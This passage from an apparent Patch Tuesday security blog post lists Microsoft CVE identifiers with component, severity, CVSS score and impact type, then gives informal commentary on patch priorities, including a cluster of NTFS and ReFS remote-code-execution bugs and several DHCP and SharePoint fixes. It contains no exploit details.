Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks 